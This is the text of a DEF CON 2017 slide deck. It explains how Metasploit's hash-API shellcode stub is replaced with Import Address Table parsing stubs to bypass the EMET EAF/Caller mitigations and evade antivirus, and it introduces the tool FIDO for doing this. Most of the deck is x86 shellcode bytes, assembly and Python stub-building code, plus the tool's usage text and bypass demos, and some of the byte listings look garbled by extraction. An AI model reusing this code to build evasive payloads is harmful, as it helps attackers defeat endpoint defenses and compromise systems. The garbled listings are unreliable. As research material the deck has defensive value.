Teaching Old Shellcode New Tricks
DEF CON 2017
Whoami

- US Marine (out in 2001)
- Wrote BDF/BDFProxy
- Co-Authored Ebowla
- Found OnionDuke
- Work @ Okta
- Twitter: @midnite_runr
Why This Talk

• It’s fun

• It’s time to update publicly available shellcode
Outline

• Some History

• Introduced Methods

• Mitigations and Bypasses
Part I – History
Stephen Fewer’s Hash API

- SFHA or Hash API or MetaSploit Payload Hash
- Introduced: 8/2009
- Uses a 4 byte hash to identify DLL!WinAPI in EAT
- JMPs to the WinAPI ; return to payload
- Some code borrowed from M.Miller’s 2003 Understanding Windows Shellcode paper

Typical SHFA Based Payload

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

1

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

[←SHFA→][the actual payload logic]
Typical SHFA Based Payload

[→SHFA←][the actual payload logic]

1 → 2 → 3

[some winAPI]
Typical SHFA Based Payload

[SHFA][the actual payload logic]

1

2

[SHFA]

3

[some winAPI]

4
Typical SHFA Based Payload

1. [—SHFA—][the actual payload logic]
2. [some winAPI]
3. 4

5, Continue to 2 until done
Defeating SFHA

- EMET

- Piotr Bania Phrack 63:15 // HAVOC – POC||GTFO 12:7
EMET Caller/EAF(+) 

- EAF(+) 
  - Introduced: 2010/2014(+) 
  - Protect reading KERNEL32/NTDLL and KERNELBASE(+) 

- Caller 
  - 2013 
  - Block ret/jmp into a winAPI (Anti/rop) for critical functions
EMET is EOL

- Supported through July 31, 2018
- Still works**
- Re-introduced in Windows RS3

** Depends on threat model
Tor Browser Exploit vs EMET
EMET detected StackPivot mitigation and will close the application: firefox.exe
Bypassing EMET EAF(+) 

- **2010**: Berend-Jan Wever (Skypher Blog) – ret-2-libc via ntdll

- **1/2012** Piotr Bania – Erase HW Breakpoints via NtContinue

- **9/2014** – Offensive Security – EAF+ bypass via EMET function reuse calling ZwSetContextThread directly

http://piotrbania.com/all/articles/anti_emet_eaf.txt
https://www.offensive-security.com/vulndev/disarming-emet-v5-0/
Bypassing EMET Caller

2/2014 - Jared Demot - Demo’ed a payload that directly used LoadLibraryA (LLA)

```powershell
mov ebx, 0x7C37A0B8
mov ebx, [ebx]
call ebx //LoadLibraryA
```
IAT Based Payloads in BDF

- May 30, 2014
- Added IAT based payloads/shellcode to BDF
- Directly used IAT API thunks
- This bypassed EMET Caller/EAF(+) checks
Position Independent
IAT Shellcode

• Dec, 2014

• 12/2003 – Skape (M. Miller) Understanding Windows Shellcode

• 2005 – Piotr Bania – IAT Parser – Phrack 63:15

• 1997 – Cabanas Virus – 29A
following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA
add edi,ebx
xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses
add edx,ebx ; normalize

mov esi,[edi] ; pointer to ascii strings
add esi,ebx ; normalize

@loop:
mov eax,[esi]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daOL' ; is this LoadLibraryA?
jne @l

add edx,ebp ; normalize
mov edx,[edx] ; edx=address of LoadLibraryA
int 3

@l:
add ebp,4 ; increase counter
add esi,4 ; next name
jmp @loop ; loop it

;--------SNIP---------------------------------------------------------------
```assembly
"\x31\xd2"
"\x64\x8b\xb9\x52\x30"
"\x8b\x52\x08"
"\x8b\xda"
"\x03\x52\x3c"
"\x8b\xba\x80\x00\x00\x00"
"\x03\xfb"

# xor edx, edx
# mov edx, dword ptr fs:[edx + 0x30] ; PEB
# mov edx, dword ptr [edx + 8] ; PEB.imagebase
# mov ebx, edx ; Set ebx to imagebase
# add edx, dword ptr [edx + 0x3c] ; "PE"
# mov edi, dword ptr [edx + 0x80] ; Import Table RVA
# add edi, ebx ; Import table in memory offset

# mov edx, dword ptr [edi + 0xc] ; Offset for Import Directory Table Name RVA
# add edx, ebx
# cmp dword ptr [edx], 0x4e524544 ; cmp nrek
# je short # CMP DWORD PTR DS:[EDX+4],32334C45
# cmp DWORD PTR DS:[EDX+4],0x4e524544 ; cmp el32
# jmp saveBase ; jmp saveBase
# inc to next import
# jmp findImport

#saveBase:
"\x57"
"\xeb\x3e"

# push edi
# jmp 0x106e ; save addr of import base
# jmp loadAPIs
```


```
#setBounds:
"\x8b\x57\x10"  # mov edx, dword ptr [edi + 0x10] ;Point to API name
"\x83\xd3"    # add edx, ebx             ;Adjust to in memory offset
"\x8b\x37"    # mov esi, dword ptr [edi] ;Set ESI to the Named Import base
"\x83\xf3"    # add esi, ebx             ;Adjust to in memory offset
"\x8b\xca"    # mov ecx, edx             ;Mov in memory offset to ecx
"\x81\xc1\x00\x00\xff\x00" # add ecx, 0xFF0000     ;Set an upper bounds for reading
"\x33\xed"  # xor ebp, ebp             ;Zero ebp for thunk offset

#findAPI:
"\x8b\x86"    # mov eax, dword ptr [esi] ;Mov pointer to Named Imports
"\x83\xc3"    # add eax, ebx             ;Find in memory offset
"\x83\xc0\x02" # add eax, 2                  ;Adjust to ASCII name start
"\x3b\xc8"    # cmp ecx, eax             ;Check if over bounds
"\x72\x18"    # jb 0x1066               ;If not over, don't jump to increment
"\x3b\xc2"    # cmp eax, edx             ;Check if under Named import
"\x72\x14"    # jb 0x1066               ;If not over, don't jump to increment
"\x3e\x8b\x7c\x24\x04" # mov edi, dword ptr ds:[esp + 4] ;Move API name to edi
"\x39\x38"    # cmp dword ptr [eax], edi ;Check first 4 chars
"\x75\x8b"    # jne 0x1066              ;If not a match, jump to increment
"\x3e\x8b\x7c\x24\x00" # mov edi, dword ptr ds:[esp + 8] ;Move API 2nd named part to edi
"\x39\x78\x88" # cmp dword ptr [eax + 8], edi ;Check next 4 chars
"\x75\x81"    # jne 0x1066              ;If not a match, jump to increment
"\xc3"      # ret                        ;If a match, ret

#Increment:
"\x83\xc5\x04" # add ebp, 4       ;inc offset
"\x83\xc6\x04" # add esi, 4       ;inc to next name
"\xeb\xdf5"    # jmp 0x1043     ;jmp to next

#loadAPIs
"\x68\x61\x72\x79\x41" # push 0x41797261    ;aryA
"\x68\x4c\x66\x61\x64\x65" # push 0x6461664C    ;Load
"\x8b\x33\xff\xff\xff\xff" # call 0x1032         ;call setBounds
"\x83\xc5\x08" # add edx, ebx     ;In memory offset of API thunk
"\x5f"      # add ESP, 8          ;Move stack to import base addr
"\x52"      # pop edi              ;restore import base addr for parsing
"\x5f"      # pop edx              ;save LoadLibraryA thunk address on stack
"\x68\x64\x64\x72\x65" # push 0x65726464    ;ddre
"\x68\x47\x65\x74\x50" # push 0x50746547    ;Getp
"\x8b\x9d\xff\xff\xff\xff" # call 0x1032         ;call setBounds
"\x83\xc5\x05" # add edx, ebx     ;Pop LoadLibraryA thunk addr into ebx
"\x5d"      # pop ebp              ;Move GetProcAddress thunk addr into ecx
"\x5b"      # pop ebx              ;
"\x8b\xca"   # mov ecx, edx        ;

# LOADLIBA in EBX
# GETPROCADDR in ECX
```
Emailed the EMET Team
¯\_(ツ)_/¯
Reminder:
EMET EAF Mitigations Will block the In Memory Excel Executions
I was talking about earlier
cc: @Cneelis

2:50 PM - 10 Feb 2016

Josh Pitts @midnite_runr · Feb 10
@subTee @Cneelis depends on the shellcode. :)

8 Retweets 16 Likes
IAT Based Stub

• LoadLibraryA(ILLA)/GetProcAddress(GPA) in Main Module
shellcode1 = bytes("\xfc"
"\x60"
"\x31\xd2"
"\x64\x8b\x52\x30"
"\x8b\x52\x0c"
"\x8b\x52\x14"
# next_mod
"\x8b\x72\x28"
"\x6a\x18"
"\x59"
"\x31\xff"
# loop_modname
"\x31\xc0"
"\xac"
"\x3c\x61"
"\x7c\x02"
"\x2c\x20"
# not_lowercase
"\xc1\xcf\x0d"
"\x01\xc7"
"\xe2\xf0"
, "iso-8859-1")

shellcode2 = b"\x81\xff"
# cmp edi, DLL_HASH
shellcode2 += struct.pack("<I", self.DLL_HASH)

shellcode3 = bytes("\x8b\x12"
"\x75\xdb"
# iatparser
"\x89\xda"
"\x03\x52\x3c"
"\x8b\x80\x00\x00\x00"
"\x01\xdf"
# findImport
"\x8b\x52\x0c"
# mov edx, [edi + 4] (Offset for Import Directory Table Name RVA)

# cld
# pushad
# xor edx,edx
# mov edx, [fs:edx+0x30] ; PEB
# mov edx, [edx+0x1c] ; PEB_LDR_DATA
# mov edx, [edx+0x14] ; ptr Flink Linked List in InMemoryOrderModuleList

# mov esi, [edx+0x28] ; Points to UTF-16 module name in LDR_MODULE
# push byte +0x18
# pop ecx
# set loop counter length
# xor edi,edi
# clear edi to 0

# xor eax,eax ; clear eax to 0
# lodsb
# cmp al,0x61
# jl 0x20
# sub al,0x20
# capitalize the letter

# ror edi,byte 0xd
# add edi,eax
# loop 0x17
# rotate edi right 0xd bits
# add sum to edi
# continue until loop ends
IAT Based Stub(s)

- LoadLibraryA/GetProcAddress in Main Module
- LoadLibraryA/GetProcAddress in a loaded Module (dll)
GetProcAddress Only Stub
GetProcAddress Only Stub

GetProcAddress ➔ LoadLibraryA
GetProcAddress Only Stub

LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, 'LoadLibraryA')
GetProcAddress Only Stub

GetProcAddress -> LoadLibraryA

LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, 'LoadLibraryA')

Push eax; LLA is in EAX
mov ebx, esp; mov ptr to LLA in ebx

... call [ebx]
IAT Based Stub(s)

• LoadLibraryA(LLA)/GetProcAddress(GPA) in main module

• LLA/GPA in a loaded module (dll)

• GPA to LLA in main module

• GPA to LLA in loaded module
System Binaries/DLLs with LLAGPA or GPA in IAT

<table>
<thead>
<tr>
<th></th>
<th>LLAGPA</th>
<th>GPA</th>
</tr>
</thead>
<tbody>
<tr>
<td>XPSP3</td>
<td>1300</td>
<td>5426</td>
</tr>
<tr>
<td>VISTA</td>
<td>645</td>
<td>26855</td>
</tr>
<tr>
<td>WIN7</td>
<td>675</td>
<td>48383</td>
</tr>
<tr>
<td>WIN8</td>
<td>324</td>
<td>31158</td>
</tr>
<tr>
<td>WIN10</td>
<td>225</td>
<td>50522</td>
</tr>
<tr>
<td>Address</td>
<td>Opcode</td>
<td>Function</td>
</tr>
<tr>
<td>-----------</td>
<td>--------</td>
<td>-----------------------------------------------</td>
</tr>
<tr>
<td>07310150</td>
<td>8BEC</td>
<td>MOV   EBP, ESP</td>
</tr>
<tr>
<td>0731015F</td>
<td>8B55  08</td>
<td>MOV   EDX, DWORD PTR SS:[EBP+8]</td>
</tr>
<tr>
<td>07310162</td>
<td>8B42  3C</td>
<td>MOV   EAX, DWORD PTR DS:[EDX+3C]</td>
</tr>
<tr>
<td>07310165</td>
<td>53</td>
<td>PUSH  EBP</td>
</tr>
<tr>
<td>07310166</td>
<td>56</td>
<td>PUSH  ESI</td>
</tr>
<tr>
<td>07310167</td>
<td>57</td>
<td>PUSH  EDI</td>
</tr>
<tr>
<td>07310168</td>
<td>8BBC10 80000000</td>
<td>MOV EDI, DWORD PTR DS:[EAX+EDX+80]</td>
</tr>
<tr>
<td>0731016F</td>
<td>09FA</td>
<td>ADD   EDI, EDX</td>
</tr>
<tr>
<td>07310171</td>
<td>8B47  10</td>
<td>MOV   EAX, DWORD PTR DS:[EDI+10]</td>
</tr>
<tr>
<td>07310174</td>
<td>85C0</td>
<td>TEST  EAX, EAX</td>
</tr>
<tr>
<td>07310176</td>
<td>75 04</td>
<td>JNZ   SHORT 0731017C</td>
</tr>
<tr>
<td>07310178</td>
<td>39B7</td>
<td>CMP   DWORD PTR DS:[EDI], EAX</td>
</tr>
<tr>
<td>0731017A</td>
<td>74 48</td>
<td>JE    SHORT 073101C7</td>
</tr>
<tr>
<td>0731017C</td>
<td>8B0F</td>
<td>MOV   ECX, DWORD PTR DS:[EDI]</td>
</tr>
<tr>
<td>0731017E</td>
<td>85C9</td>
<td>TEST  ECX, ECX</td>
</tr>
<tr>
<td>07310180</td>
<td>75 02</td>
<td>JNZ   SHORT 07310184</td>
</tr>
<tr>
<td>07310182</td>
<td>88C8</td>
<td>MOV   ECX, EAX</td>
</tr>
<tr>
<td>07310184</td>
<td>83CA</td>
<td>ADD   ECX, EDX</td>
</tr>
<tr>
<td>07310186</td>
<td>8D3410</td>
<td>LEA   ESI, DWORD PTR DS:[EAX+EDX]</td>
</tr>
<tr>
<td>07310189</td>
<td>8B01</td>
<td>MOV   EAX, DWORD PTR DS:[ECX]</td>
</tr>
<tr>
<td>0731018B</td>
<td>85C0</td>
<td>TEST  EAX, EAX</td>
</tr>
<tr>
<td>0731018D</td>
<td>74 33</td>
<td>JE    SHORT 073101C2</td>
</tr>
<tr>
<td>0731018F</td>
<td>994D  08</td>
<td>MOV   DWORD PTR SS:[EBP+8], EDX</td>
</tr>
<tr>
<td>07310192</td>
<td>2975</td>
<td>SUB   DWORD PTR SS:[EBP+8], ESI</td>
</tr>
<tr>
<td>07310195</td>
<td>85C0</td>
<td>TEST  EAX, EAX</td>
</tr>
<tr>
<td>07310197</td>
<td>78 1C</td>
<td>JS    SHORT 073101B5</td>
</tr>
<tr>
<td>07310199</td>
<td>904410 02</td>
<td>LEA   EAX, DWORD PTR DS:[EAX+EDX+2]</td>
</tr>
<tr>
<td>0731019D</td>
<td>33CB</td>
<td>XOR   ECX, ECX</td>
</tr>
<tr>
<td>0731019F</td>
<td>EB 09</td>
<td>JMP   SHORT 073101AA</td>
</tr>
<tr>
<td>073101A1</td>
<td>0FBE6B</td>
<td>MOVSX  EAX, BL</td>
</tr>
<tr>
<td>073101A4</td>
<td>C1C1  07</td>
<td>ROL   EAX, 7</td>
</tr>
<tr>
<td>073101A7</td>
<td>33CB</td>
<td>XOR   ECX, EBX</td>
</tr>
<tr>
<td>073101AE</td>
<td>40</td>
<td>INC   EAX</td>
</tr>
<tr>
<td>073101AA</td>
<td>8A18</td>
<td>MOV   BL, BYTE PTR DS:[EAX]</td>
</tr>
<tr>
<td>073101AC</td>
<td>84DB</td>
<td>TEST  BL, BL</td>
</tr>
<tr>
<td>073101AE</td>
<td>7F F1</td>
<td>JNZ   SHORT 073101A1</td>
</tr>
<tr>
<td>073101B0</td>
<td>394D  0C</td>
<td>CMP   ECX, DWORD PTR SS:[EBP+C]</td>
</tr>
<tr>
<td>073101B2</td>
<td>74 16</td>
<td>JE    SHORT 073101CB</td>
</tr>
<tr>
<td>073101B5</td>
<td>8B45  08</td>
<td>MOV   EAX, DWORD PTR SS:[EBP+8]</td>
</tr>
<tr>
<td>073101BB</td>
<td>83C6  04</td>
<td>ADD   ESI, 4</td>
</tr>
<tr>
<td>073101B8</td>
<td>8B0430</td>
<td>MOV   EAX, DWORD PTR DS:[EAX+ESI]</td>
</tr>
<tr>
<td>073101BE</td>
<td>85C0</td>
<td>TEST  EAX, EAX</td>
</tr>
<tr>
<td>073101C0</td>
<td>75 DS</td>
<td>JNZ   SHORT 07310197</td>
</tr>
<tr>
<td>073101C2</td>
<td>83C7  14</td>
<td>ADD   EDI, 14</td>
</tr>
<tr>
<td>073101C5</td>
<td>EB AA</td>
<td>JMP   SHORT 07310171</td>
</tr>
<tr>
<td>073101C7</td>
<td>33CB</td>
<td>XOR   EAX, EBX</td>
</tr>
</tbody>
</table>

https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html
The EMET Serendipity: EMET's (In)Effectiveness Against Non-Exploitation Uses

POC: https://github.com/ShellcodeSmuggler/IAT_POC

What now?

• July 2016

• More payloads

• Many MetaSploit payloads were based off of Hash API stub

• Much work

• Some ideas
Part II – Development
Two Ideas

- Remove SFHA and replace it with X
- Build something to rewrite the payload logic for use with an IAT parsing stub
REWRITE ALL THE THINGS
MSF Winx86 Payloads
Follow a pattern

```assembly
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
```

Workflow

• Take Input via stdin or from file

• Disassemble

• Capture blocks of instructions

• Capture API calls

• Capture control flow between two locations

• Protect LLA/GPA registers from being clobbered
LOE
LOE

• Five days straight at about 12–15 hour days
• Five days straight at about 12–15 hour days

• When I solved one problem, 2–3 more appeared
LOE

- Five days straight at about 12–15 hour days
- When I solved one problem, 2–3 more appeared
- There is a point where a manual rewrite would have been easier – I crossed it
LOE

• Five days straight at about 12–15 hour days

• When I solved one problem, 2–3 more appeared

• There is a point where a manual rewrite would have been easier – I crossed it

• 🔥BURN IT DOWN🔥
Next idea
Next idea

[—SFHA—]
Next idea

[—SFHA—] [the actual payload logic]
Next idea

[the actual payload logic]
Next idea

[IAT Stub] [the actual payload logic]
Next idea

[IAT Stub] [offset table] [the actual payload logic]
Some requirements

• Support Read/Execute Memory

• Try to keep it small

• Support any Metasploit Shellcode that uses SFHA
Workflow

- Take Input via stdin or from file
- Disassemble
- Capture blocks of instructions
- Capture API calls
- Build a lookup/offset table
- Find an appropriate IAT for the EXE
- OUTPUT
Offset Table Approach
Offset Table Approach

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]
Offset Table
Approach

DLL   API
[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]
### Offset Table Approach

<table>
<thead>
<tr>
<th>DLL</th>
<th>API</th>
</tr>
</thead>
<tbody>
<tr>
<td>876f8b31</td>
<td>XX[XX][XX][9dbd95a6][XX][XX]</td>
</tr>
<tr>
<td>a2a1de0</td>
<td>XX[XX][XX][XX][XX][XX][XX]</td>
</tr>
</tbody>
</table>

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL   API
[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL API

876f8b31 [XX] [XX] a2a1de0 [XX] [XX] 9dbd95a6 [XX] [XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL API

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL API

[b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00']

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL API

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

DLL API

[b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00']
self.stub = b''
self.stub += b'\xe9'
self.stub += struct.pack("<I", len(self.lookup_table))

self.stub += self.lookup_table

table_offset = len(self.stub) - len(self.lookup_table)

self.stub += b'\x33\xc0'
# XOR EAX,EAX
self.stub += b'\x80\x00\x00\x00'  # CALL $+5
self.stub += b'\x5e'
# POP ESI
self.stub += b'\x8b\x8e'
# MOV ECX, DWORD PTR [ESI+XX]
# MOV 1st Hash into ECX

# updated offset
updated_offset = 0xfffffffff - len(self.stub) - table_offset + 14

# Check_hash
self.stub += struct.pack("<I", 0xfffffffff-len(self.stub) - table_offset + 14)
self.stub += b'\x3b\x4c\x24\x24'
# CMP ECX,DWORD PTR SS:[ESP+24]
self.stub += b'\x74\x05'
# JE SHORT 001c0191
self.stub += b'\x83\xc6\x06'
# ADD ESI,6
self.stub += b'\x8b\xef'
# JMP SHORT 001c0191
# FOUND_A_MATCH
self.stub += b'\x8b\x8e'
# MOV ECX,DWORD PTR DS:[ESI-XX]
# mov DLL offset to ECX

self.stub += struct.pack("<I", updated_offset + 4)
self.stub += b'\x8a\xc1'
# MOV AL,CL
# OFFSET in CL, mov to AL

# Get DLL and Call LLA for DLL Block
self.stub += b'\xb8\xce'
# MOV ECX,ESI
self.stub += b'\x03\xc8'
# ADD ECX,EAX
# find DLL location
self.stub += b'\xb8\xe9'
# SUB ECX,XX
# normalize for ascii value

self.stub += struct.pack("<I", abs(updated_offset - 0xfffffffff +3))
self.stub += b'\x51'
# PUSH ECX
self.stub += b'\xff\x13'
# CALL DWORD PTR DS:[EBX]
# Call KERNEL32.LoadLibraryA (DLL)
# Get API and Call GPA

self.stub += b"\x8B\xD0"
self.stub += b"\x33\xC0"
self.stub += b"\x8B\xE8"
self.stub += struct.pack("<I", updated_offset + 4)
self.stub += b"\x8A\xC5"
self.stub += b"\x8B\xCE"
self.stub += b"\x03\xC8"
self.stub += b"\x81\xE9"
self.stub += struct.pack("<I", abs(updated_offset - 0xfffffffff + 4))
self.stub += b"\x51"
self.stub += b"\x52"
self.stub += b"\xFF\x55\x00"
self.stub += b"\x89\x44\x24\x24\x1C"
self.stub += b"\x61"
self.stub += b"\x5D"
self.stub += b"\x59"
self.stub += b"\xFF\xD0"
self.stub += b"\x55"
self.stub += b"\x88\x00\x00\x00\x00"
self.stub += b"\x5D"
self.stub += b"\x81\xED"
self.stub += struct.pack("<I", len(self.selected_payload)+ len(self.stub) -3)
self.stub += b"\xC3"

# MOV EDX,EAX ; Save DLL Handle to EDX
# XOR EAX,EAX ; Prep EAX for use
# MOV ECX,DWORD PTR DS:[ESI-XX] ; Put API Offset in ECX
# MOV AL,CH ; mov API offset to ECX
# MOV ECX,ESI ; mov offset to ecx
# ADD ECX,EAX ; find API location
# SUB ECX,XX ; normalize for ascii value
# Push API on the stack
# CALL DWORD PTR DS:[EDX] ; Call GetProcAddress(DLL.handle, API)
# MOV DWORD PTR SS:[ESP+1C],EAX ; SAVE EAX for popad ends up in eax
# POPAD ; Restore registers and call values
# POP EBP ; get return addr
# POP ECX ; clear Hash API from msf caller
# CALL EAX ; call target API
# push ebp ; push return addr into msf caller
# call $+5 ; get pc
# POP EBP ; current EIP in EBP
# SUB EBP,XX ; To reset the location of the api call back
# RETN ; return back into msf payload logic
The new workflow

[IAT Stub] [Lookuptable] [the actual payload logic]
The new workflow

[IAT Stub ] [Lookuptable] [the actual payload logic]
The new workflow

[IAT Stub ][Lookuptable][the actual payload logic]
The new workflow

1

[IAT Stub ][Lookuptable][the actual payload logic]

2

[some winAPI]
The new workflow

1. IAT Stub
2. Lookuptable
3. Some winAPI

[the actual payload logic]
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [the actual payload logic]
4. [some winAPI]
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [some winAPI]
4. [the actual payload logic]
5.
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [some winAPI]
4. [the actual payload logic]
5. Continue to 2 until done
6.
LOE

• The initial POC took < 12 hours

• Adding the workflow and stubs: 12 hours

• Finalizing the tool: ಠ_ಠ

• But I’m happy 😎
About those API Hashes
About those API Hashes

- They are now meaningless
About those API Hashes

• They are now meaningless

• AVs depend on them for signatures
About those API Hashes

- They are now meaningless
- AVs depend on them for signatures
- What happens if we mangle them?
AV Demo

DEMO: https://youtu.be/p3vFRx5dur0
Introducing FIDO

```
$ fido git:(master) × ./fido.py -h
usage: use "fido.py --help" for more information

This code imports metasploit sourced x86 windows shellcode that employs
Stephen Fewers Hash API stub and replaces it to bypass EMET Caller/EAF checks
and other bolt on mitigations. Accepts msfvenom output from stdin or from disk.
 Doesn't do logic checks on provided payload to ensure it is x86 (32bit) or for windows
 OS (up to you to be correct)
```
Introducing FIDO

optional arguments:
-h, --help # show this help message and exit
-b TARGETBINARY, --targetbinary TARGETBINARY # Binary that shellcode will be customized to (Optional)
-t OS, --OSTarget OS OS target for looking for target DLL Import Tables: win7, win8, winVista, win10
-s CODE, --shellcode CODE x86 Win Shellcode with Stephen Fewers Hash API prepended (from msfvenom) can be from stdin
-d DLL, --DLLName DLL If you know the DLL you are targeting enter this, no need for OS, DLL flags
-l IMPORTNAME, --Import IMPORTNAME For use with -d and ExternGPA (-p), specify either 'kernel32.dll' or 'api-ms-win-core-libraryloader' -- you need to know with import you are targeting.
To know, run without -d for a list of candidates. Default is kernel32.dll but not always right!
Introducing FIDO

-m, --mangle
Mangle metasploit hash apis from their original values (you want to do this)

-o OUTPUT, --output OUTPUT
How you would like your output: [c], [p]ython, [c]sharp

-p PARSER_STUB, --parser_stub PARSER_STUB
By default this assumes that GetProcAddress (GPA) is in the targetbinary's
Import Address Table (IAT) if no targetbinary or DLL name is provided.
Four options:
    GPA - GPA is in targetbinary IAT (default)
    LLAGPA - LoadLibraryA(LLA)/GPA is in the targetbinary IAT (smallest shellcode option)
    ExternGPA -- need DLLName or targetbinary to use
    ExternLLAGPA -- need DLLName or targetbinary to use

-n, --donotfail
Default: Fail if Stephen Fewers Hash API stub is not there, use -n to bypass
Issues with some DLLs

System Binaries/DLLs with LLAGPA or GPA in IAT

<table>
<thead>
<tr>
<th></th>
<th>LLAGPA</th>
<th>GPA</th>
</tr>
</thead>
<tbody>
<tr>
<td>XPSP3</td>
<td>1300</td>
<td>5426</td>
</tr>
<tr>
<td>VISTA</td>
<td>645</td>
<td>26855</td>
</tr>
<tr>
<td>WIN7</td>
<td>675</td>
<td>48383</td>
</tr>
<tr>
<td>WIN8</td>
<td>324</td>
<td>31158</td>
</tr>
<tr>
<td>WIN10</td>
<td>225</td>
<td>50522</td>
</tr>
</tbody>
</table>
API-MS-WIN-CORE*.dlls
API-MS-WIN-CORE*.dlls

- MINWIN
API-MS-WIN-CORE*.dlls

- MINWIN

- These dlls redirect to the actual implementation of the windows API

API-MS-WIN-CORE*.dlls

- MINWIN

- These dlls redirect to the actual implementation of the windows API

- Existed since win7

API-MS-WIN-CORE*.dlls

- MINWIN

- These dlls redirect to the actual implementation of the windows API

- Existed since win7

- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL

API-MS-WIN-CORE*.dlls

- MINWIN

- These dlls redirect to the actual implementation of the windows API

- Existed since win7

- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL

- Normally used in system dlls

API-MS-WIN-CORE*.dlls

- MINWIN

- These dlls redirect to the actual implementation of the windows API

- Existed since win7

- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL

- Normally used in system dlls

- Can be called by userland applications via IAT parsing

Because it is in...
Because it is in...

Kernel32.dll
<table>
<thead>
<tr>
<th>pFile</th>
<th>Data</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000F10</td>
<td>000CF2B2</td>
<td>Hint/Name RVA</td>
<td>000B  GetModuleHandleW</td>
</tr>
<tr>
<td>00000F14</td>
<td>000CF296</td>
<td>Hint/Name RVA</td>
<td>0009  GetModuleHandleExA</td>
</tr>
<tr>
<td>00000F18</td>
<td>000CF2AC</td>
<td>Hint/Name RVA</td>
<td>000A  GetModuleHandleExW</td>
</tr>
<tr>
<td>00000F1C</td>
<td>000CF2C2</td>
<td>Hint/Name RVA</td>
<td>000F  LoadResource</td>
</tr>
<tr>
<td>00000F20</td>
<td>000CF2D2</td>
<td>Hint/Name RVA</td>
<td>0012  LockResource</td>
</tr>
<tr>
<td>00000F24</td>
<td>000CF2E2</td>
<td>Hint/Name RVA</td>
<td>0013  SizeofResource</td>
</tr>
<tr>
<td>00000F28</td>
<td>000CF2F4</td>
<td>Hint/Name RVA</td>
<td>000C  GetProcAddress</td>
</tr>
</tbody>
</table>
SAY AGAIN?
SAY AGAIN?

• We just need GPA in any DLL Import Table to access the entire windows API
SAY AGAIN?

• We just need GPA in any DLL Import Table to access the entire windows API

• Since win7, GPA has been in Kernel32.dll Import Table
SAY AGAIN?

- We just need GPA in any DLL Import Table to access the entire windows API

- Since win7, GPA has been in Kernel32.dll Import Table

- We’ve had a stable EMET EAF(+)/Caller bypass opportunity since Win7 (works for win7 – win10)
Tor Exploit w/My Stub vs EAF+ / Caller

DEMO: https://youtu.be/oqHT6Ienudg
Updates

• These payloads were introduced at REcon Brussels – Jan 2017

• For DEF CON 2017 – 64bit payloads are being released.
Part III - Mitigations
Enhancement: Updating MSF to support Import Table Parsing Payloads #8082

Intro

This is to document a proposed MSF enhancement to include IAT parsing stubs, their supported payloads, and update Meterpreter's reflected dll loader.

Background

At REcon Brussels I presented a method of reusing metasploit windows x86 payloads to bypass EMET EAF/Caller protections.

TL;DR

fido.py would strip off the hash api stub that is used for most windows payloads (not all) and replace it with an Import Address Table parsing stub and an offset table to bridge the gap between the 4 byte hash represented each DLL/winapi and execute the payload.

See the slides for details: https://github.com/secretsquirrel/fido/blob/master/REconBR_2017.pdf

After the presentation, @OJ reached out to help make this happen including updating meterpreter to bypass EMET EAF/Caller protections also. So let's do this!
Well well well.. look who built-in EMET into the kernel of Windows 10 RS3 (Fall Creator's Update). Thanks to @epakskape for the hint.

+0x82c MitigationFlags2 : Uint4B
+0x82c MitigationFlags2Values : <unnamed-tag>
  +0x000 EnableExportAddressFilter : Pos 0, 1 Bit
  +0x000 AuditExportAddressFilter : Pos 1, 1 Bit
  +0x000 EnableExportAddressFilterPlus : Pos 2, 1 Bit
  +0x000 AuditExportAddressFilterPlus : Pos 3, 1 Bit
  +0x000 EnableRopStackPivot : Pos 4, 1 Bit
  +0x000 AuditRopStackPivot : Pos 5, 1 Bit
  +0x000 EnableRopCallerCheck : Pos 6, 1 Bit
  +0x000 AuditRopCallerCheck : Pos 7, 1 Bit
  +0x000 EnableRopSimExec : Pos 8, 1 Bit
  +0x000 AuditRopSimExec : Pos 9, 1 Bit
